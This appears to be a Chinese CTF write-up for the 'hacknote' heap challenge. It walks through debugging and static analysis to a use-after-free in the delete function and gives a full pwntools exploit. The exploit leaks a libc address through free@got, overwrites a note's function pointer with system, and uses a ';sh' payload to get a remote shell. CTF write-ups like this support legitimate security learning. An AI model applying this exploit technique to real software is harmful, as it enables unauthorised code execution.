pwnable_hacknote
1:首先检查防护措施

2:本地调试查看大致情况

首先创建了两个chunk大小分别为0x10和0x18 ,gdb调试发现程序创建了4个chunk,除了我们创建的两个chunk外还有两个size = 0x10的chunk 这两个chunk的fd指针指向了同一个地址:0x804862b 两个chunk的bk指针分别指向我们创建的chunk的data域
3.IDA静态分析
choice 1 : add()

choice 2 : delete()

先释放了content块,再释放了note块,没有将指针置0,存在uaf漏洞
choice 3 : print()

大致情况了解完毕,大致思路我们可以先创建两个chunk释放后再申请一个大小为0x8的chunk这样会分配给我们note块,修改note块的bk指向free@got地址 利用uaf打印free@got地址泄露libc 执行system(‘/bin/sh’)获取shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context.log_level='debug'
p = remote('node4.buuoj.cn',27949)
libc = ELF('./libc.so') elf = ELF('./hacknote')
def add(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recvuntil('Note size :') p.sendline(str(size)) p.recvuntil('Content :') p.send(content)
def delete(index): p.recvuntil('Your choice :') p.sendline('2') p.recvuntil('Index :') p.sendline(str(index))
def show(index): p.recvuntil('Your choice :') p.sendline('3') p.recvuntil('Index :') p.sendline(str(index))
add(0x50,'aaaa') add(0x50,'bbbb')
delete(1) delete(0)
payload = p32(0x804862b)+p32(elf.got["free"]) add(8,payload)
show(1) free_addr = u32(p.recv(4))
offset = libc.symbols['system'] - libc.symbols['free'] system_addr = free_addr + offset
delete(2) payload = p32(system_addr) + ';sh\0' add(8,payload)
show(1)
p.interactive()
|
值得注意的是 : 如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(1)就能执行system(‘sh’)得到shell了
